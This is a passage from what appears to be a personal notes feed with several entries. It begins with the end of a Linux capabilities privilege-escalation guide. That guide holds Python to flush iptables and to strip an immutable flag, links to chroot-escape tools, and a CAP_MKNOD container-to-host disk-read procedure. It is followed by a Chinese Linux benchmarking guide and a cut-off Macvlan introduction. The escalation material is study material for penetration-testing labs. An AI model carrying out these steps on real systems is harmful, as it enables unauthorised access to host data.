&lt;p&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man7&#x2F;capabilities.7.html&quot;&gt;CAP_NET_ADMIN&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; capability grants the holder the power to&lt;strong&gt;alter network configurations&lt;&#x2F;strong&gt;, including firewall settings, routing tables, socket permissions, and network interface settings within the exposed network namespaces. It also enables turning on&lt;strong&gt;promiscuous mode&lt;&#x2F;strong&gt; on network interfaces, allowing for packet sniffing across namespaces.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Example with binary&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Lets suppose that the &lt;strong&gt;python binary&lt;&#x2F;strong&gt; has these capabilities.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#Dump iptables filter table rules
import iptc
import pprint
json=iptc.easy.dump_table(&amp;#x27;filter&amp;#x27;,ipv6=False)
pprint.pprint(json)

#Flush iptables filter table
import iptc
iptc.easy.flush_table(&amp;#x27;filter&amp;#x27;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;cap-linux-immutable&quot;&gt;CAP_LINUX_IMMUTABLE&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;This means that it&#x27;s possible modify inode attributes.&lt;&#x2F;strong&gt;  You cannot escalate privileges directly with this capability.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Example with binary&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;If you find that a file is immutable and python has this capability, you can &lt;strong&gt;remove the immutable attribute and make the file modifiable:&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#Check that the file is imutable
lsattr file.sh
----i---------e--- backup.sh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;#Pyhton code to allow modifications to the file
import fcntl
import os
import struct

FS_APPEND_FL = 0x00000020
FS_IOC_SETFLAGS = 0x40086602

fd = os.open(&amp;#x27;&amp;#x2F;path&amp;#x2F;to&amp;#x2F;file.sh&amp;#x27;, os.O_RDONLY)
f = struct.pack(&amp;#x27;i&amp;#x27;, FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)

f=open(&amp;quot;&amp;#x2F;path&amp;#x2F;to&amp;#x2F;file.sh&amp;quot;,&amp;#x27;a+&amp;#x27;)
f.write(&amp;#x27;New content for the file\n&amp;#x27;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Note that usually this immutable attribute is set and remove using:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo chattr +i file.txt
sudo chattr -i file.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;cap-sys-chroot&quot;&gt;CAP_SYS_CHROOT&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man7&#x2F;capabilities.7.html&quot;&gt;CAP_SYS_CHROOT&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; enables the execution of the &lt;code&gt;chroot(2)&lt;&#x2F;code&gt; system call, which can potentially allow for the escape from &lt;code&gt;chroot(2)&lt;&#x2F;code&gt; environments through known vulnerabilities:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;deepsec.net&#x2F;docs&#x2F;Slides&#x2F;2015&#x2F;Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf&quot;&gt;How to break out from various chroot solutions&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;earthquake&#x2F;chw00t&#x2F;&quot;&gt;chw00t: chroot escape tool&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;cap-sys-boot&quot;&gt;CAP_SYS_BOOT&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man7&#x2F;capabilities.7.html&quot;&gt;CAP_SYS_BOOT&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; not only allows the execution of the &lt;code&gt;reboot(2)&lt;&#x2F;code&gt; system call for system restarts, including specific commands like &lt;code&gt;LINUX_REBOOT_CMD_RESTART2&lt;&#x2F;code&gt; tailored for certain hardware platforms, but it also enables the use of &lt;code&gt;kexec_load(2)&lt;&#x2F;code&gt; and, from Linux 3.17 onwards, &lt;code&gt;kexec_file_load(2)&lt;&#x2F;code&gt; for loading new or signed crash kernels respectively.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cap-syslog&quot;&gt;CAP_SYSLOG&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man7&#x2F;capabilities.7.html&quot;&gt;CAP_SYSLOG&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; was separated from the broader&lt;strong&gt;CAP_SYS_ADMIN&lt;&#x2F;strong&gt; in Linux 2.6.37, specifically granting the ability to use the &lt;code&gt;syslog(2)&lt;&#x2F;code&gt; call. This capability enables the viewing of kernel addresses via &lt;code&gt;&#x2F;proc&lt;&#x2F;code&gt; and similar interfaces when the &lt;code&gt;kptr_restrict&lt;&#x2F;code&gt; setting is at 1, which controls the exposure of kernel addresses. Since Linux 2.6.39, the default for &lt;code&gt;kptr_restrict&lt;&#x2F;code&gt; is 0, meaning kernel addresses are exposed, though many distributions set this to 1 (hide addresses except from uid 0) or 2 (always hide addresses) for security reasons.&lt;&#x2F;p&gt;
&lt;p&gt;Additionally, &lt;strong&gt;CAP_SYSLOG&lt;&#x2F;strong&gt; allows accessing &lt;code&gt;dmesg&lt;&#x2F;code&gt; output when &lt;code&gt;dmesg_restrict&lt;&#x2F;code&gt; is set to 1. Despite these changes,&lt;strong&gt;CAP_SYS_ADMIN&lt;&#x2F;strong&gt; retains the ability to perform &lt;code&gt;syslog&lt;&#x2F;code&gt; operations due to historical precedents.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cap-mknod&quot;&gt;CAP_MKNOD&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man7&#x2F;capabilities.7.html&quot;&gt;CAP_MKNOD&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; extends the functionality of the &lt;code&gt;mknod&lt;&#x2F;code&gt; system call beyond creating regular files, FIFOs (named pipes), or UNIX domain sockets. It specifically allows for the creation of special files, which include:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;S_IFCHR&lt;&#x2F;strong&gt;: Character special files, which are devices like terminals.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;S_IFBLK&lt;&#x2F;strong&gt;: Block special files, which are devices like disks.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;This capability is essential for processes that require the ability to create device files, facilitating direct hardware interaction through character or block devices.&lt;&#x2F;p&gt;
&lt;p&gt;It is a default docker capability (&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;moby&#x2F;moby&#x2F;blob&#x2F;master&#x2F;oci&#x2F;caps&#x2F;defaults.go#L6-L19&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;moby&#x2F;moby&#x2F;blob&#x2F;master&#x2F;oci&#x2F;caps&#x2F;defaults.go#L6-L19&lt;&#x2F;a&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;This capability permits to do privilege escalations (through full disk read) on the host, under these conditions:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Have initial access to the host (Unprivileged).&lt;&#x2F;li&gt;
&lt;li&gt;Have initial access to the container (Privileged (EUID 0), and effective &lt;code&gt;CAP_MKNOD&lt;&#x2F;code&gt;).&lt;&#x2F;li&gt;
&lt;li&gt;Host and container should share the same user namespace.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;Steps to Create and Access a Block Device in a Container:&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;On the Host as a Standard User:&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Determine your current user ID with &lt;code&gt;id&lt;&#x2F;code&gt;, e.g., &lt;code&gt;uid=1000(standarduser)&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;Identify the target device, for example, &lt;code&gt;&#x2F;dev&#x2F;sdb&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Inside the Container as&lt;&#x2F;strong&gt; &lt;code&gt;root&lt;&#x2F;code&gt;&lt;strong&gt;:&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code&gt;# Create a block special file for the host device
mknod &amp;#x2F;dev&amp;#x2F;sdb b 8 16
# Set read and write permissions for the user and group
chmod 660 &amp;#x2F;dev&amp;#x2F;sdb
# Add the corresponding standard user present on the host
useradd -u 1000 standarduser
# Switch to the newly created user
su standarduser
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Back on the Host:&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code&gt;# Locate the PID of the container process owned by &amp;quot;standarduser&amp;quot;
# This is an illustrative example; actual command might vary
ps aux | grep -i container_name | grep -i standarduser
# Assuming the found PID is 12345
# Access the container&amp;#x27;s filesystem and the special block device
head &amp;#x2F;proc&amp;#x2F;12345&amp;#x2F;root&amp;#x2F;dev&amp;#x2F;sdb
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This approach allows the standard user to access and potentially read data from &lt;code&gt;&#x2F;dev&#x2F;sdb&lt;&#x2F;code&gt; through the container, exploiting shared user namespaces and permissions set on the device.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;cap-setpcap&quot;&gt;CAP_SETPCAP&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;CAP_SETPCAP&lt;&#x2F;strong&gt; enables a process to&lt;strong&gt;alter the capability sets&lt;&#x2F;strong&gt; of another process, allowing for the addition or removal of capabilities from the effective, inheritable, and permitted sets. However, a process can only modify capabilities that it possesses in its own permitted set, ensuring it cannot elevate another process&#x27;s privileges beyond its own. Recent kernel updates have tightened these rules, restricting &lt;code&gt;CAP_SETPCAP&lt;&#x2F;code&gt; to only diminish the capabilities within its own or its descendants&#x27; permitted sets, aiming to mitigate security risks. Usage requires having &lt;code&gt;CAP_SETPCAP&lt;&#x2F;code&gt; in the effective set and the target capabilities in the permitted set, utilizing &lt;code&gt;capset()&lt;&#x2F;code&gt; for modifications. This summarizes the core function and limitations of &lt;code&gt;CAP_SETPCAP&lt;&#x2F;code&gt;, highlighting its role in privilege management and security enhancement.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;CAP_SETPCAP&lt;&#x2F;code&gt; is a Linux capability that allows a process to &lt;strong&gt;modify the capability sets of another process&lt;&#x2F;strong&gt;. It grants the ability to add or remove capabilities from the effective, inheritable, and permitted capability sets of other processes. However, there are certain restrictions on how this capability can be used.&lt;&#x2F;p&gt;
&lt;p&gt;A process with &lt;code&gt;CAP_SETPCAP&lt;&#x2F;code&gt;&lt;strong&gt;can only grant or remove capabilities that are in its own permitted capability set&lt;&#x2F;strong&gt;. In other words, a process cannot grant a capability to another process if it does not have that capability itself. This restriction prevents a process from elevating the privileges of another process beyond its own level of privilege.&lt;&#x2F;p&gt;
&lt;p&gt;Moreover, in recent kernel versions, the &lt;code&gt;CAP_SETPCAP&lt;&#x2F;code&gt; capability has been &lt;strong&gt;further restricted&lt;&#x2F;strong&gt;. It no longer allows a process to arbitrarily modify the capability sets of other processes. Instead, it&lt;strong&gt;only allows a process to lower the capabilities in its own permitted capability set or the permitted capability set of its descendants&lt;&#x2F;strong&gt;. This change was introduced to reduce potential security risks associated with the capability.&lt;&#x2F;p&gt;
&lt;p&gt;To use &lt;code&gt;CAP_SETPCAP&lt;&#x2F;code&gt; effectively, you need to have the capability in your effective capability set and the target capabilities in your permitted capability set. You can then use the &lt;code&gt;capset()&lt;&#x2F;code&gt; system call to modify the capability sets of other processes.&lt;&#x2F;p&gt;
&lt;p&gt;In summary, &lt;code&gt;CAP_SETPCAP&lt;&#x2F;code&gt; allows a process to modify the capability sets of other processes, but it cannot grant capabilities that it doesn&#x27;t have itself. Additionally, due to security concerns, its functionality has been limited in recent kernel versions to only allow reducing capabilities in its own permitted capability set or the permitted capability sets of its descendants.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Most of these examples were taken from some labs of&lt;&#x2F;strong&gt;**&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;attackdefense.pentesteracademy.com&#x2F;&quot;&gt;https:&#x2F;&#x2F;attackdefense.pentesteracademy.com&#x2F;&lt;&#x2F;a&gt;** , so if you want to practice this privesc techniques I recommend these labs.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Other references&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;vulp3cula.gitbook.io&#x2F;hackers-grimoire&#x2F;post-exploitation&#x2F;privesc-linux&quot;&gt;https:&#x2F;&#x2F;vulp3cula.gitbook.io&#x2F;hackers-grimoire&#x2F;post-exploitation&#x2F;privesc-linux&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.schutzwerk.com&#x2F;en&#x2F;43&#x2F;posts&#x2F;linux_container_capabilities&#x2F;&quot;&gt;https:&#x2F;&#x2F;www.schutzwerk.com&#x2F;en&#x2F;43&#x2F;posts&#x2F;linux_container_capabilities&#x2F;#:~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;linux-audit.com&#x2F;linux-capabilities-101&#x2F;&quot;&gt;https:&#x2F;&#x2F;linux-audit.com&#x2F;linux-capabilities-101&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.linuxjournal.com&#x2F;article&#x2F;5737&quot;&gt;https:&#x2F;&#x2F;www.linuxjournal.com&#x2F;article&#x2F;5737&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;0xn3va.gitbook.io&#x2F;cheat-sheets&#x2F;container&#x2F;escaping&#x2F;excessive-capabilities#cap_sys_module&quot;&gt;https:&#x2F;&#x2F;0xn3va.gitbook.io&#x2F;cheat-sheets&#x2F;container&#x2F;escaping&#x2F;excessive-capabilities#cap_sys_module&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;labs.withsecure.com&#x2F;publications&#x2F;abusing-the-access-to-mount-namespaces-through-procpidroot&quot;&gt;https:&#x2F;&#x2F;labs.withsecure.com&#x2F;publications&#x2F;abusing-the-access-to-mount-namespaces-through-procpidroot&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux系统如何做性能测试？-腾讯云开发者社区-腾讯云</title>
        <published>2025-04-17T00:00:00+00:00</published>
        <updated>2025-04-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux系统如何做性能测试-腾讯云开发者社区-腾讯云/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux系统如何做性能测试-腾讯云开发者社区-腾讯云/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux系统如何做性能测试-腾讯云开发者社区-腾讯云/">&lt;h1 id=&quot;linuxxi-tong-ru-he-zuo-xing-neng-ce-shi-teng-xun-yun-kai-fa-zhe-she-qu-teng-xun-yun&quot;&gt;Linux系统如何做性能测试？-腾讯云开发者社区-腾讯云&lt;&#x2F;h1&gt;
&lt;p&gt;原文：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;article&#x2F;1552842&quot;&gt;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;article&#x2F;1552842&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;来源：51testing&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;性能测试&lt;&#x2F;strong&gt;:CPU内存,硬盘IO读写,带宽速度,UnixBench&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;一、CPU物理个数、内核、超线程、多核心&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　1、登录Terminal，执行：cat &#x2F;proc&#x2F;cpuinfo，就会显示出主机的CPU详细参数，如内核、频率、型号等等，以下是我&lt;strong&gt;Linux&lt;&#x2F;strong&gt; 系统主机的CPU：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-perf-testing&#x2F;cat-proc-cpuinfo-output.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　2、主要参数physical_id表示物理CPU个数，cpu cores是内核数，Siblings 表示位于这一物理封装上的逻辑处理器的数量，它们可能支持也可能不支持超线程（HT）&lt;strong&gt;技术&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;　　3、如果有一个以上逻辑处理器拥有相同的 core id 和 physical id，则说明系统支持超线程（HT）技术。如果有两个或两个以上的逻辑处理器拥有 相同的 physical id，但是 core id 不同，则说明这是一个多内核处理器。&lt;&#x2F;p&gt;
&lt;p&gt;　　4、如果“siblings”和“cpu cores”一致，则说明不支持超线程，或者超线程未打开。如果“siblings”是“cpu cores”的两倍，则说明支持超线程，并且超 线程已打开。&lt;&#x2F;p&gt;
&lt;p&gt;　　5、直接查看逻辑CPU的个数，执行：cat &#x2F;proc&#x2F;cpuinfo |grep &#x27;physical id&#x27; |sort |uniq&lt;&#x2F;p&gt;
&lt;p&gt;　　6、直接查看CPU的型号，执行：cat &#x2F;proc&#x2F;cpuinfo |grep &#x27;model name&#x27; |sort |uniq&lt;&#x2F;p&gt;
&lt;p&gt;　　7、单个CPU的内核数，执行：cat &#x2F;proc&#x2F;cpuinfo |grep &#x27;cpu cores&#x27; |sort |uniq&lt;&#x2F;p&gt;
&lt;p&gt;　　8、总的CPU线程数，执行：cat &#x2F;proc&#x2F;cpuinfo |grep &#x27;processor&#x27;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-perf-testing&#x2F;proc-cpuinfo-processor-count.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;**　二、内存大小、交换空间、高速缓存、实际使用内存**&lt;&#x2F;p&gt;
&lt;p&gt;　　1、查看主机的内存信息，执行：cat &#x2F;proc&#x2F;meminfo，主要是看内存大小、交换空间、高速缓存。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-perf-testing&#x2F;cat-proc-meminfo.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-perf-testing&#x2F;proc-meminfo-memory-info.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　2、主机实际使用内存大小。Linux管理内存的机制是这样的：无论物理内存有多大，Linux 都将其充份利用，将一些程序调用过的硬盘数据读入内存，利用内存读写的高速特性来提高Linux系统的数据访问性能。&lt;&#x2F;p&gt;
&lt;p&gt;　　3、即Linux会利用空闲的物理内存，划分出一部份空间，做为 cache 和 buffers ，以此提高数据访问性能。cache主要用来减少对磁盘的I&#x2F;O操作。 所以我们经常能够看到一个总内存为8GB的Linux VPS测试出来占用的内存也是8GB。&lt;&#x2F;p&gt;
&lt;p&gt;　　4、那么如何才能知道Linux真正占用的内存是多少呢？执行命令：free –m&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-perf-testing&#x2F;free-m-memory-usage.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　5、计算主机真实的使用内存方法是：Total-Free-Cached=真实使用内存，即1016912-18584-206944=791384，表示我的主机真实使用的内存是 791384MB。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;三、磁盘IO读写速度测试&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　1、磁盘IO，即输入&#x2F;输出(Input&#x2F;Output)，这是测试磁盘性能一个重要指标。&lt;&#x2F;p&gt;
&lt;p&gt;　　2、测试主机磁盘IO的性能可以执行以下两个命令：&lt;&#x2F;p&gt;
&lt;p&gt;　　dd if=&#x2F;dev&#x2F;zero of=test bs=64k count=4k oflag=dsync&lt;&#x2F;p&gt;
&lt;p&gt;　　dd if=&#x2F;dev&#x2F;zero of=test bs=8k count=256k conv=fdatasync&lt;&#x2F;p&gt;
&lt;p&gt;　　3、conv=fdatasync与oflag=dsync的区别在于：sync函数只是将所有修改过的块缓冲区排入写队列，然后就返回，它并不等待实际写磁盘操作结束。&lt;&#x2F;p&gt;
&lt;p&gt;　　4、而fsync函数只对由文件描述符filedes指定的单一文件起作用，并且等待写磁盘操作结束，然后返回。这是我电脑的硬盘IO测试结果。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-perf-testing&#x2F;dd-disk-io-test-result.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;**四、速度测试：上传下载速度、****&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;product&#x2F;cvm&#x2F;?from_column=20065&amp;amp;from=20065&quot;&gt;服务器&lt;&#x2F;a&gt;**&lt;strong&gt;带宽&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　测试VPS主机入口与出口的带宽一键脚本，执行命令：&lt;&#x2F;p&gt;
&lt;p&gt;　　wget https:&#x2F;&#x2F;github.com&#x2F;sivel&#x2F;speedtest-cli&#x2F;raw&#x2F;master&#x2F;speedtest_cli.py&lt;&#x2F;p&gt;
&lt;p&gt;　　python speedtest_cli.py --share&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-perf-testing&#x2F;speedtest-cli-bandwidth-test.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;五、性能综合测试：UnixBench跑分工具测试&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　1、UnixBench是一款开源的测试 unix 系统基本性能的工具,是比较通用的测试性能的工具，Unixbench的主要测试项目有：系统调用、读写、进程、图形化测试、2D、3D、管道、运算、C库等系统基准性能提供测试数据。&lt;&#x2F;p&gt;
&lt;p&gt;　　2、UnixBench测试的结果不仅仅只是CPU,内存,或者磁盘为基准,还取决于硬件,操作系统版本,编译器，测试系统各个方面一系列的性能,然后将每个 测试结果和一个基准值进行比较,得到一个索引值,所有测试项目的索引值结合在一起形成一个测试分值。&lt;&#x2F;p&gt;
&lt;p&gt;　　3、UnixBench测试执行以下命令：&lt;&#x2F;p&gt;
&lt;p&gt;　　wget http:&#x2F;&#x2F;teddysun.com&#x2F;wp-content&#x2F;uploads&#x2F;unixbench.sh&lt;&#x2F;p&gt;
&lt;p&gt;　　chmod +x unixbench.sh&lt;&#x2F;p&gt;
&lt;p&gt;　　.&#x2F;unixbench.sh&lt;&#x2F;p&gt;
&lt;p&gt;　　4、测试时间可能会比较长，请耐心等待。最后UnixBench会详细列出各个测试项目的得分情况，以及主机性能的综合跑分结果。  如下图，得分为879.7。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-perf-testing&#x2F;unixbench-score-result.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　这些测试的结果有一个指数值（INDEX ，如520），这个值是测试系统的测试结果与一个基线&lt;strong&gt;系统测试&lt;&#x2F;strong&gt;结果比较得到的指数值，这样比原始值更容易得到参考价值，测试集合里面所有的测试得到的指数值结合起来得到整个系统的指数值。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Macvlan 和 IPvlan - MKY-门可意</title>
        <published>2025-04-17T00:00:00+00:00</published>
        <updated>2025-04-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/macvlan-和-ipvlan-mky-门可意/"/>
        <id>https://vercel.juzhong.asia/obsidian/macvlan-和-ipvlan-mky-门可意/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/macvlan-和-ipvlan-mky-门可意/">&lt;h1 id=&quot;macvlan-he-ipvlan-mky-men-ke-yi&quot;&gt;Macvlan 和 IPvlan - MKY-门可意&lt;&#x2F;h1&gt;
&lt;h3 id=&quot;jie-shao&quot;&gt;介绍&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;   macvlan 本身是 linxu kernel 模块，其功能是允许在同一个物理网卡上配置多个 MAC 地址，即多个 interface，每个 interface 可以配置自己的 IP。**macvlan 本质上是一种网卡虚拟化技术(最大优点是性能极好)**

  可以在linux命令行执行`lsmod | grep macvlan` 查看当前内核是否加载了该driver；如果没有查看到，可以通过`modprobe macvlan`来载入，然后重新查看。内核代码路径&amp;#x2F;drivers&amp;#x2F;net&amp;#x2F;macvlan.c

   Macvlan 允许你在主机的一个网络接口上配置多个虚拟的网络接口，这些网络 `interface` 有自己独立的 MAC 地址，也可以配置上 IP 地址进行通信。Macvlan 下的虚拟机或者容器网络和主机在同一个网段中，共享同一个广播域。Macvlan 和 `Bridge` 比较相似，但因为它省去了 Bridge 的存在，所以配置和调试起来比较简单，而且效率也相对高。除此之外，Macvlan 自身也完美支持 `VLAN`。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;gong-zuo-mo-shi-bridge-vs-macvlan&quot;&gt;工作模式(Bridge VS MACVlan)&lt;&#x2F;h3&gt;
&lt;p&gt;Bridge Mode&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Bridge 是二层设备，仅用来处理二层的通讯。&lt;&#x2F;li&gt;
&lt;li&gt;Bridge 使用 MAC 地址表来决定怎么转发帧（&lt;code&gt;Frame&lt;&#x2F;code&gt;）。&lt;&#x2F;li&gt;
&lt;li&gt;Bridge 会从 host 之间的通讯数据包中学习 MAC 地址。&lt;&#x2F;li&gt;
&lt;li&gt;可以是硬件设备，也可以是纯软件实现(例如：&lt;code&gt;Linux Bridge&lt;&#x2F;code&gt;)。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;提示:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;    **Bridge 有可能会遇到二层环路，如有需要，可以开启 STP 来防止出现环路。**
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;MACVlan Mode&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;可让使用者在同一张实体网卡上设定多个 MAC 地址。&lt;&#x2F;li&gt;
